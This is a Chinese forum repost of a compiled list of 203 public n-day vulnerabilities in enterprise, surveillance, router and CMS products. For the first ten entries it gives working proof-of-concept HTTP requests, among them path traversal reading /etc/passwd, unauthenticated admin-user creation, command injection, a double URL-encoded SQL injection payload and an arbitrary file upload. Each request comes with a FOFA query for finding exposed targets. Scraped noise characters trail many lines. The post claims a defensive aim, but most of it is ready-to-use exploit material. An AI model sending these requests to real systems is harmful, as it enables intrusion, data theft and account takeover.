找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3793|回复: 0

互联网公开漏洞整理202309-202406--转载

[复制链接]
发表于 2024-6-5 14:31:29 | 显示全部楼层 |阅读模式
互联网公开漏洞整理202309-202406% E- R6 S3 c# F: o
道一安全 2024-06-05 07:41 北京
' R9 ?: @( x* i以下文章来源于网络安全新视界 ,作者网络安全新视界
, q$ o" Y- \; k* H+ h3 v' D, q( E+ K1 \. R: m
发文目的:Nday漏洞的利用是安全攻防占比较大的攻击方式,希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。! c- ?% K/ b+ @2 F

- H( z% p2 V3 `漏洞来源:文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个,均来自于互联网其他公众号或者网站,由网络安全新视界团队进行整理发布。
' a" a# `' W, P* ^5 o5 L
% f. `1 }2 e8 ^; N8 l0 R安全补丁:所有的漏洞均为公开漏洞,补丁或漏洞修复方案请联系产品厂家。( V( _  d& j2 f0 J3 B" \* F
& p8 m# y# a4 ?) ~
文章内容:因受篇幅限制,个别漏洞POC由于过长,统一使用PAYLOAD字样代替,如需完整POC请自行搜索。# V1 S3 M- n5 N# V& `
8 z5 }7 g- k6 N$ G/ f9 V
合法权益:如文章内容侵犯某方合法权益,请后台联系网络安全新视界团队对相关内容进行删除。( x7 K7 J% _, T  c
' n( h8 H- I& V1 }
: R- T1 i% e2 W" P! r3 p" E. n! E
声明
2 p; O9 y) b+ @- {) x& h
) f& {! T. K* ~/ ~为简化流程,方便大家翻阅,固不设置“回复再给完整列表”。本文章就是当前最全文章,使用时F12搜索关键词即可。. J, w# V: V4 t% I
! m( O  Z; T3 o8 N
有需要的可以收藏此文。也可以关注本公众号(网络安全新视界)。2 A& d0 Z) b+ ~: x7 f6 A' S

& W6 E) C) V9 ~  H5 f0 f" ]. {: o) X( I: A: o8 i# _% b. B  W9 ]
' y4 l# R3 r0 ?
目录
! s' Q* l$ F" i/ ?5 }; J' b$ X+ _( p! I) f/ S, b
01
# O# B0 }% X$ e  i3 j" H" K1 B
2 t- T6 O; I& T$ m& e, Z( v1. StarRocks MPP数据库未授权访问
6 E( D% ?9 u' M( I, f# k. Z2. Casdoor系统static任意文件读取5 c6 r2 m3 I$ A" r
3. EasyCVR智能边缘网关 userlist 信息泄漏
6 t: u& U5 n+ w- l& t  X4. EasyCVR视频管理平台存在任意用户添加
0 b) E* D- i3 L9 G$ M$ {5. NUUO NVR 视频存储管理设备远程命令执行8 e( {) ]* p( m, Q' |
6. 深信服 NGAF 任意文件读取4 Y& q( k* H2 z$ d
7. 鸿运主动安全监控云平台任意文件下载" [1 @* E; ]" s/ ]; o
8. 斐讯 Phicomm 路由器RCE
6 \. U9 h8 J& U& x- [0 U1 I9. 稻壳CMS keyword 未授权SQL注入4 F- Q* H& `. w: |( T' w" }
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传/ w% H; \; ]& s; ~) f+ k6 C
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入4 t( Z5 l8 E( g; I* w. w3 ^# B" ]
12. Jorani < 1.0.2 远程命令执行8 r: `. ^& b, H+ ^; ^
13. 红帆iOffice ioFileDown任意文件读取
# B3 Z, O* A& y1 r4 t4 {1 R# x14. 华夏ERP(jshERP)敏感信息泄露
( g/ o! q' H. Q+ D/ m15. 华夏ERP getAllList信息泄露1 [5 b. |9 K" U2 N! \1 w; L
16. 红帆HFOffice医微云SQL注入- `+ ]0 d5 X% w1 R- ~
17. 大华 DSS itcBulletin SQL 注入& M2 c# I+ \7 ~, P) P( r3 O
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
- A3 }/ [3 O- `) a2 {19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
2 _9 O# @& S" K2 j2 W  @, C20. 大华ICC智能物联综合管理平台任意文件读取1 J% g0 _5 J5 \. i7 \; ?1 m" s: A
21. 大华ICC智能物联综合管理平台random远程代码执行
( D) W* J0 z  D' A- Q' l22. 大华ICC智能物联综合管理平台 log4j远程代码执行, K; h) r4 e( d( S# E
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行  Y, L* q$ _- e
24. 用友NC 6.5 accept.jsp任意文件上传7 O) I/ N0 `/ X# [4 K- _
25. 用友NC registerServlet JNDI 远程代码执行9 g/ f# m$ }# a( x7 N0 ^1 x
26. 用友NC linkVoucher SQL注入1 ?7 h# R# u: s* J  ]2 c+ u
27. 用友 NC showcontent SQL注入
3 b+ Q" m4 X4 v28. 用友NC grouptemplet 任意文件上传
1 N- a) r; K: w! Z29. 用友NC down/bill SQL注入' S! I  S3 A0 M5 f
30. 用友NC importPml SQL注入. s3 T" }( U% X0 u
31. 用友NC runStateServlet SQL注入
  m1 ~4 W2 @4 P: p! {5 q* T32. 用友NC complainbilldetail SQL注入, H  T2 c* g* z0 P
33. 用友NC downTax/download SQL注入
; A; [9 f3 e1 _* C34. 用友NC warningDetailInfo接口SQL注入% \% {8 i* [) @- D9 X! }
35. 用友NC-Cloud importhttpscer任意文件上传
+ U1 m( d; e) ^( c$ _36. 用友NC-Cloud soapFormat XXE& _2 C, Z7 R! Z' \2 ?/ c$ u6 \8 r; S& p
37. 用友NC-Cloud IUpdateService XXE" r# F0 e1 m6 D" {% I- ]3 \" F5 {& e! s
38. 用友U8 Cloud smartweb2.RPC.d XXE
6 k. n/ S  d) M& E39. 用友U8 Cloud RegisterServlet SQL注入
7 v3 g' t% `7 e# ?$ c40. 用友U8-Cloud XChangeServlet XXE
' _0 D$ e8 E% R5 T, c  ~41. 用友U8 Cloud MeasureQueryByToolAction SQL注入& P. E9 V9 V% D- k/ @  x
42. 用友GRP-U8 SmartUpload01 文件上传9 k& d% g3 U, ~; M; D' p
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
' a9 P( T' `+ O44. 用友GRP-U8 bx_dj_check.jsp SQL注入
$ M4 K& u& t& a5 z2 S( z0 [8 a. ?, K45. 用友GRP-U8 ufgovbank XXE4 J! u/ s* p! T$ R/ k
46. 用友GRP-U8 sqcxIndex.jsp SQL注入% M9 a/ ~2 D1 l% x% H
47. 用友GRP A++Cloud 政府财务云 任意文件读取% z8 Z/ K) f2 j. P- Z# e# ?
48. 用友U8 CRM swfupload 任意文件上传
& A0 u7 K: \6 P0 w49. 用友U8 CRM系统uploadfile.php接口任意文件上传
1 F5 {/ I% H8 f; z# u) `50. QDocs Smart School 6.4.1 filterRecords SQL注入
" ^! R9 r% Y4 S51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入/ Z" [8 C, d* G: B; o2 ^7 [
52. 泛微E-Office json_common.php sql注入
* l: C/ w* ~& P; S! |+ z53. 迪普 DPTech VPN Service 任意文件上传! I/ u8 O" T7 ]! Q
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
! E! M! `5 F' \1 H/ A1 c55. 畅捷通T+ getdecallusers信息泄露$ B- w+ r" F( k. V5 o: _
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE: ?, X3 }7 u2 X6 l% g( g
57. 畅捷通T+ keyEdit.aspx SQL注入4 V+ \. X% B- A" h* {/ z
58. 畅捷通T+ KeyInfoList.aspx sql注入- x9 ]# j. ]: B, L2 a+ B2 s
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行, E" M) M" b" Y% F5 s# \  C
60. 百卓Smart管理平台 importexport.php SQL注入+ @: K; v6 E3 p% _, T8 C# K
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
. a( ?# }" G3 f5 w  S1 @+ a. O# u62. IP-guard WebServer 远程命令执行
# k' J, o* M" B1 R1 k/ {0 L63. IP-guard WebServer任意文件读取9 i, o4 o- V, Q7 _7 a" v
64. 捷诚管理信息系统CWSFinanceCommon SQL注入9 o& P8 d! r6 g
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过; f3 R/ o6 O; f! J" s( ~/ A) T) g, _
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入2 {% b6 [( I8 S. x9 `4 f  f
67. 万户ezOFFICE wpsservlet任意文件上传* x$ S* J7 ^% J; ]  @* [3 y; C6 }0 [7 m3 b
68. 万户ezOFFICE wf_printnum.jsp SQL注入2 r% N% m- x+ u0 ]. D
69. 万户 ezOFFICE contract_gd.jsp SQL注入
* H0 q0 }& |5 @70. 万户ezEIP success 命令执行
6 v( `9 _" o$ S5 _! r4 U2 ?71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入* U6 v* V, r) S; u3 u
72. 致远OA getAjaxDataServlet XXE0 |) U* [: Z  E  L! g% W9 K
73. GeoServer wms远程代码执行
, X. n* R7 j! v& U% d74. 致远M3-server 6_1sp1 反序列化RCE( U% C9 v" f6 q; H, j
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
3 ~9 q# N6 h  z$ u76. 新开普掌上校园服务管理平台service.action远程命令执行' g1 `1 L; m6 n7 @1 j
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
& d9 @8 t; M1 }, L78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传$ P. T2 ]9 ?" w
79. BYTEVALUE 百为流控路由器远程命令执行
2 e5 V2 F7 S# V; D6 J# T80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传- }3 v- M. F9 o9 N# j; z
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
1 J* b! A1 i$ d6 h# b' J! l; R82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
; e: F! O3 i7 ~9 a- H* O83. JeecgBoot testConnection 远程命令执行$ v0 [$ i, C# _' i! t8 I
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入1 q1 l* o) `# X$ m3 j- [& G5 ]0 O
85. SysAid On-premise< 23.3.36远程代码执行
2 U7 H7 [  r3 z5 v  K9 q; L86. 日本tosei自助洗衣机RCE- d/ T3 d0 n! K, r- G+ B
87. 安恒明御安全网关aaa_local_web_preview文件上传% }, \! |+ T, X' g
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行0 C+ \0 T: l9 {6 u( D; r
89. 致远互联FE协作办公平台editflow_manager存在sql注入
2 A6 l0 f6 f  W, h% G9 ^90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行& f5 H& Q4 `* j, \, V7 g
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; W# D; o  b8 y$ V5 p92. 海康威视运行管理中心session命令执行
$ T- ^0 R2 @1 v+ D) X1 [93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
/ N% J! ^8 s0 E. k94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
4 \6 _6 W7 q, f95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
' g/ l% D# B& ]96. Apache OFBiz  18.12.11 groovy 远程代码执行
: A5 G) L+ ]  \1 z5 C9 c2 E97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
9 X* |; X9 h4 |' h0 c8 V, Y1 M; |98. SpiderFlow爬虫平台远程命令执行) ?! H( n1 S7 m4 ~( l
99. Ncast盈可视高清智能录播系统busiFacade RCE
6 v6 w& G& Y- e4 K100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
# D4 i$ O) c, _, y# |" [1 q8 M101. ivanti policy secure-22.6命令注入
1 [3 k1 c) A" J7 i5 j102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
' a7 @& S- {. N1 t# x1 |5 g103. Ivanti Pulse Connect Secure VPN XXE- Z8 O# Y! L7 @- D7 I- [* s
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
: A1 n6 W3 K" F( _# S6 `105. SpringBlade v3.2.0 export-user SQL 注入
& V1 B% c( m/ b, w106. SpringBlade dict-biz/list SQL 注入: }4 ~' x/ L1 r) P* I2 c! J$ r
107. SpringBlade tenant/list SQL 注入
  i3 E' p! Y' D- Z108. D-Tale 3.9.0 SSRF
1 j$ B+ o5 j2 H. i, r109. Jenkins CLI 任意文件读取
- j- Y0 w: c/ ^& V% n1 I- [110. Goanywhere MFT 未授权创建管理员
0 i4 E5 u$ y: I5 y, e8 F: |111. WordPress Plugin HTML5 Video Player SQL注入
9 O/ m7 U  e0 K# v1 A112. WordPress Plugin NotificationX SQL 注入7 y1 Y) `; ]& a2 S/ Q0 P
113. WordPress Automatic 插件任意文件下载和SSRF# o% i& H7 a8 a2 R5 M3 r
114. WordPress MasterStudy LMS插件 SQL注入
7 A- H( @. L: `' M6 i" w0 s# Q+ w115. WordPress Bricks Builder <= 1.9.6 RCE
; {; l; Q% w3 W  f116. wordpress js-support-ticket文件上传
9 R8 r; q- c- ]5 u& f117. WordPress LayerSlider插件SQL注入+ s: x8 n) M4 |. [# N
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传2 w) E; ^. g7 g0 {* V
119. 北京百绰智能S20后台sysmanageajax.php sql注入7 h6 m' ^' b) [7 q# C
120. 北京百绰智能S40管理平台导入web.php任意文件上传
2 m% v: E; V/ Q/ ?7 Q121. 北京百绰智能S42管理平台userattestation.php任意文件上传. J4 B5 \! |: H& }: e% f$ @
122. 北京百绰智能s200管理平台/importexport.php sql注入
, Z5 n/ h5 I. G0 U123. Atlassian Confluence 模板注入代码执行
7 {% h! V7 i* J3 J+ }9 n# i' E124. 湖南建研工程质量检测系统任意文件上传+ m- p! s  F. F) G6 o# j% q
125. ConnectWise ScreenConnect身份验证绕过
  f) ^% E2 v; ]2 V- A6 H+ U- N126. Aiohttp 路径遍历
, C/ z" n4 h8 x" C127. 广联达Linkworks DataExchange.ashx XXE
; J  m' L* ?' X' \& [  f128. Adobe ColdFusion 反序列化
# y' z0 j, T8 g7 H) `+ ?% g! U; A129. Adobe ColdFusion 任意文件读取
. i6 ~& S( E5 H5 e6 \, V! a130. Laykefu客服系统任意文件上传
; ^5 J$ ~  Z% J* v; s6 e- r131. Mini-Tmall <=20231017 SQL注入
. x4 T7 p: r% h6 ]/ A4 s: b132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过! Z  a* J9 r" z; \9 w  S" h
133. H5 云商城 file.php 文件上传8 p/ a4 {" P$ ^& A$ ~% k5 w
134. 网康NS-ASG应用安全网关index.php sql注入2 j6 f3 v' f; Q& C+ o1 F; g
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入: p$ S/ I2 U- ?0 z0 s
136. NextChat cors SSRF. X2 o, e$ P3 n
137. 福建科立迅通信指挥调度平台down_file.php sql注入
# B% a* s3 O8 h8 I+ T: M' W138. 福建科立讯通信指挥调度平台pwd_update.php sql注入5 K$ s7 h6 t8 g7 d( @. k
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
0 l; q5 S/ h2 a: l; n: B140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入3 j. K3 l' u  s. f
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入: W+ d: @2 P: R% B6 x5 Q
142. CMSV6车辆监控平台系统中存在弱密码
8 ~# k4 E6 m* I2 O7 f# D143. Netis WF2780 v2.1.40144 远程命令执行& Y7 M" o1 g  o& ?# _4 a  ~% G
144. D-Link nas_sharing.cgi 命令注入2 f, ~6 T* b) V& {" G0 H
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入3 Z4 p3 n9 y9 N  H- i. ^) x7 Y' e
146. MajorDoMo thumb.php 未授权远程代码执行, F4 j3 l( G6 H7 v
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历, J7 b1 X; m! t* h3 ^! @% s
148. CrushFTP 认证绕过模板注入. V$ v/ A: E- U+ G: c
149. AJ-Report开源数据大屏存在远程命令执行2 D- A0 z* h* }( `. P& k
150. AJ-Report 1.4.0 认证绕过与远程代码执行
( M) O; O6 P0 q) S; B151. AJ-Report 1.4.1 pageList sql注入
, ^0 a/ ~, `0 Z9 i9 e/ Y152. Progress Kemp LoadMaster 远程命令执行
' ?9 F' @$ \  q1 ^4 [1 }153. gradio任意文件读取
/ W2 J, Q  I- h6 e7 ~3 _3 k154. 天维尔消防救援作战调度平台 SQL注入1 z  ^- b, B4 N1 h5 g, U7 R7 c, P2 @
155. 六零导航页 file.php 任意文件上传7 Q( c- E% {) U: D
156. TBK DVR-4104/DVR-4216 操作系统命令注入* J1 ^3 U9 k6 k: E# ^- L/ [
157. 美特CRM upload.jsp 任意文件上传
! ]; W1 e9 ^& z& J  Y- N6 R158. Mura-CMS-processAsyncObject存在SQL注入# w3 s$ A0 C. O' j+ E1 T8 J% l
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传5 z- P: g2 _2 B& N! n' s- f
160. Sonatype Nexus Repository 3目录遍历与文件读取2 \: X2 p$ @' v: o, ?6 k% B
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
9 b" l; {  c- l162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传1 E# D1 m: {% J: x  p. k, R
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
& z: u$ l  l5 W164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
( S4 {+ J. B" r+ K/ @  D165. OrangeHRM 3.3.3 SQL 注入; {- a2 Z7 @( L6 v
166. 中成科信票务管理平台SeatMapHandler SQL注入
( h- ^' l$ n0 F- {167. 精益价值管理系统 DownLoad.aspx任意文件读取- N7 D  T; W2 _  Q
168. 宏景EHR OutputCode 任意文件读取
; ^- H/ _. S. u7 P" p; K; E169. 宏景EHR downlawbase SQL注入8 X+ j1 `5 Q$ r/ f8 A1 E# V- x
170. 宏景EHR DisplayExcelCustomReport 任意文件读取: Q! H6 O( F6 b1 F: u, b
171. 通天星CMSV6车载定位监控平台 SQL注入. c# C9 V0 x2 Z$ m+ _& I
172. DT-高清车牌识别摄像机任意文件读取
5 z- k/ D; \  b2 t# M6 d& X/ I" ]173. Check Point 安全网关任意文件读取
- I9 d7 p$ o; r, U! K3 P+ I, @174. 金和OA C6 FileDownLoad.aspx 任意文件读取1 U! i) j9 O9 @! V! [) O3 I0 ~5 h: R$ N7 e
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
* i, `3 e8 z0 K( C( W176. 电信网关配置管理系统 rewrite.php 文件上传
0 P, g# \+ [1 T( M2 C& H$ x' e177. H3C路由器敏感信息泄露
; d8 c& g' G) F! r178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 R- F/ Q2 m; S  T, x% I. J179. 建文工程管理系统存在任意文件读取% M  e. B- W2 c' ]9 Q
180. 帮管客 CRM jiliyu SQL注入* I+ g8 e: I" p' t
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
& g! E- L0 L/ C  L. E* B1 e% O182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建# c$ f$ z& Y7 L, C, }( h  v
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
/ h- ^& K) E, _184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
) i1 P+ E" y' A* M& T! T5 ^185. 瑞友天翼应用虚拟化系统SQL注入
2 D+ X2 q3 V' ^; @1 Q5 |+ l4 R186. F-logic DataCube3 SQL注入5 ?( ?2 G% T, V8 b! A9 S
187. Mura CMS processAsyncObject SQL注入/ ~5 H( s; T& }3 U+ v& l+ U
188. 叁体-佳会视频会议 attachment 任意文件读取* ]& P* K& a7 `
189. 蓝网科技临床浏览系统 deleteStudy SQL注入- U; D  c) u3 \6 Q
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
: D) O% }0 j6 [191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入! ?0 @- X2 `* O$ m) m
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传  _+ a$ i) x& D) x( U+ v
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
/ Z* X5 R7 `; J' p194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传) M5 ]' P& h2 x1 e) b' b
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行7 n/ P8 y. s- `
196. 河南省风速科技统一认证平台密码重置8 g* r& C& i% }7 n+ W+ N6 o
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
; R6 j1 W9 i: V198.  阿里云盘 WebDAV 命令注入
5 K8 t0 w) h; R" E5 v199. cockpit系统assetsmanager_upload接口 文件上传9 g: a- s* j+ D0 P  R3 l9 a2 ~4 H- r
200. SeaCMS海洋影视管理系统dmku SQL注入* x$ `' r; E  p2 B5 @9 d. r
201. 方正全媒体新闻采编系统 binary SQL注入. z: k5 _4 O; }
202. 微擎系统 AccountEdit任意文件上传% O( q' J3 M- H
203. 红海云EHR PtFjk 文件上传! ^: I, \% p% Q; M2 I

7 Q. |+ d- L: m, W. o6 RPOC列表
  E8 J' n0 @1 ~3 v0 _: a# b6 S& b# l9 n
02) |1 b) j- k! l

; X4 x) W/ `  V$ n1. StarRocks MPP数据库未授权访问3 H/ ~/ K: `/ c8 j( W+ c& a
FOFA :title="StarRocks"* A  c, s* J' W+ O1 a6 X, m4 n
GET /mem_tracker HTTP/1.1
* ?2 e9 S2 S7 D# c0 dHost: URL
& X. N: v' J8 P
; i3 M% |, E0 i( K. T; Z( Q( l9 B" [& J. i
2. Casdoor系统static任意文件读取# {2 m3 [+ q3 x6 B6 ~
FOFA :title="Casdoor"* t9 [% M' n7 K3 k0 I# ^6 t
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.16 P$ q( N: E( W7 y0 G: m; j5 J
Host: xx.xx.xx.xx:9999
5 J1 Y+ s3 m! r$ ]3 n8 KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36! Q/ Y! G2 C8 V7 ~2 q- o
Connection: close
- B" k: ~/ r* G2 Q1 X- p* ~/ ?Accept: */*: M4 m7 j& O. K$ u5 K; ~0 s
Accept-Language: en
2 f+ O  U5 ^+ X- [( E: O& }Accept-Encoding: gzip
$ V1 |6 v) r7 Q, b0 a0 b9 k6 j& |# M" W  U
8 j/ A9 Z& X; Y4 O: T
3. EasyCVR智能边缘网关 userlist 信息泄漏
- {! ~  F3 i0 G3 e2 I- u: n, Q+ DFOFA :title="EasyCVR"
* o( K$ A# o, Q* w! t* uGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1# m" ~4 v$ q2 x" C, P
Host: xx.xx.xx.xx
, P7 G2 o0 ?% J* M6 Z/ e" i0 A. i+ @3 c

5 L, W/ j' o  `  I5 A; P) a: Z4. EasyCVR视频管理平台存在任意用户添加% X5 ^- R9 D1 D% D6 w! }- Q+ {- b0 V. a
FOFA :title="EasyCVR"9 \* F. z. y( P; E
5 {+ ~" }- `' h, |- W- h0 b" |- M/ L% J2 V3 E
password更改为自己的密码md5! Z/ x$ D$ Q2 S; }9 k3 d% r
POST /api/v1/adduser HTTP/1.1
9 ^0 g6 X6 S  g4 eHost: your-ip# r# L) ?" a5 t0 l
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
5 P$ J. F+ }! M# L) V4 p8 Z! t0 ?$ Z3 S
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
. o. R5 [6 k! }- N# I* J6 g" q! r* x" p3 F& k2 P! \$ M4 c+ Z' e
+ T3 B6 l: F  s- J7 a
5. NUUO NVR 视频存储管理设备远程命令执行
" i. j8 ^, o; o8 F. z# FFOFA:title="Network Video Recorder Login"
) c+ c% b6 |: V" mGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1! @/ v$ O* P) R
Host: xx.xx.xx.xx( ?! K  O# o! C6 Y
/ s- \9 V" N1 e. _; y$ z' b; M2 t

8 |: j6 j4 ]6 A6 D+ A6 B- g$ S6. 深信服 NGAF 任意文件读取: ?7 o) V/ j6 m
FOFA:title="SANGFOR | NGAF"
3 X7 C% M: o% |# v% bGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.10 \' W. b) O. L* E8 r5 k# {& ]- G  N
Host:
' _& [( [( x) g
  d; Z2 u' f6 J4 R. ~, M( i- V# P1 `# `8 E% u$ G
7. 鸿运主动安全监控云平台任意文件下载
4 \! \- L; |- k5 i5 }, N% n& l3 ^FOFA:body="./open/webApi.html"
2 P* a8 E2 j& J, x7 lGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1; @1 i% h/ M& \! H7 d7 {. c
Host:
8 O% J+ B% T' ]" u# n- V7 k' _4 l0 _3 q( N, K: ~+ m
( @2 V/ s0 ^6 p9 j
8. 斐讯 Phicomm 路由器RCE" ]) G7 x6 O7 O+ W. ^
FOFA:icon_hash="-1344736688"
1 d9 m; m4 H% c: W0 D默认账号admin登录后台后,执行操作
; a$ U( W% b- }. C/ F5 I( r; e$ iPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1, a! Y0 z" o4 D# u& L
Host: x.x.x.x
: i$ z/ \3 y1 qCookie: sysauth=第一步登录获取的cookie
- }( w4 p  R2 i8 gContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
" q, a. U. `5 h& x1 Q1 B( X& RUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 I3 L& Z/ p. P4 }, F! z
/ d2 W. \* Y+ x3 c) u/ a------WebKitFormBoundaryxbgjoytz
6 c, W% v# P, T( q! K' {7 dContent-Disposition: form-data; name="wifiRebootEnablestatus"5 g! }9 w% D( u% w  S/ ]$ i
! l9 M, n2 N! F5 w
%s
  y$ N, s, B& ~& h  C( i------WebKitFormBoundaryxbgjoytz. l  O) f7 n/ @7 u, c# Y7 m" \
Content-Disposition: form-data; name="wifiRebootrange"4 K* e$ |/ i+ _! \- `# S3 l
3 i6 A% |5 q! p9 T. |& p1 [( o
12:00; id;
# I" C- C* S4 H. y4 `------WebKitFormBoundaryxbgjoytz2 V  k: A3 ^1 b2 i, F! X
Content-Disposition: form-data; name="wifiRebootendrange"1 J9 e5 M" t' v! K
+ V2 M3 b2 P! e  Q" \) l
%s:
8 H% }# v7 X- @( J------WebKitFormBoundaryxbgjoytz. D! g3 V, o( G6 |
Content-Disposition: form-data; name="cururl2"
7 k" p9 O# [$ I& ^8 \" |' A
2 V7 K4 r+ _% a5 E9 |3 [/ J+ f( v! `* F% E
------WebKitFormBoundaryxbgjoytz--
5 G$ \* j8 K- ^. i- O1 G! s& C
  B3 g  [5 m" _$ g4 U% V
5 g2 I2 M+ n  V  d+ Q9. 稻壳CMS keyword 未授权SQL注入
  A$ C" v8 Y6 pFOFA:app="Doccms"
- }2 U' I& o( a8 w0 b9 xGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1$ y9 P& C9 N: X- V; n
Host: x.x.x.x
) r4 I- E# n8 a$ ]; ]* F8 ~
( I4 e. y8 s! p  X8 X6 c* |' V
3 z  N4 ~9 u" W5 l4 ~9 rpayload为下列语句的二次Url编码
5 X3 J2 P; Z0 m5 V, T( W  n* t( Z6 b! V% R) a6 R
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
/ t  ~4 D2 |# K" z! E' C" [6 i0 F8 K, p+ G. w& E. n
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传; o& H" [3 y7 _6 t4 A9 `( L
FOFA:icon_hash="953405444"
. F& o2 u. v! N
9 ]7 R  ]1 c" h" J7 _0 P: h文件上传后响应中包含上传文件的路径. \7 t2 n. S9 \  `4 g7 x% }6 q
POST /eis/service/api.aspx?action=saveImg HTTP/1.1/ o( i4 }0 m; |
Host: x.x.x.x:xx
% o, ^7 j! y4 K. U- UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
' e) h, b; M: y( W; cContent-Length: 197
! g3 E- w" H; a# L. g8 V; k! KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 e' s6 ^$ I& D, l: _3 I2 C9 E) @Accept-Encoding: gzip, deflate& R% F" `+ v6 N% Y$ Q- H
Accept-Language: zh-CN,zh;q=0.9
$ l% y+ h, f4 l/ E, }4 G, {6 d# d# IConnection: close9 B4 ]) _" J2 n0 D9 I+ k
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
2 U' g0 X- K4 @6 ^& F9 N' l5 A
6 l6 I4 B+ E- O4 M------WebKitFormBoundaryxdgaqmqu
5 V% W3 M$ o7 b1 S  m) GContent-Disposition: form-data; name="file"filename="icfitnya.txt"; s; v! W( G0 s  _5 o. P9 J! N
Content-Type: text/html. g$ z4 G, N! Q4 {+ o1 X2 j6 X/ a

9 J  w: j) t4 @8 s2 kjmnqjfdsupxgfidopeixbgsxbf
5 D6 d  [1 Q& h- b$ y------WebKitFormBoundaryxdgaqmqu--
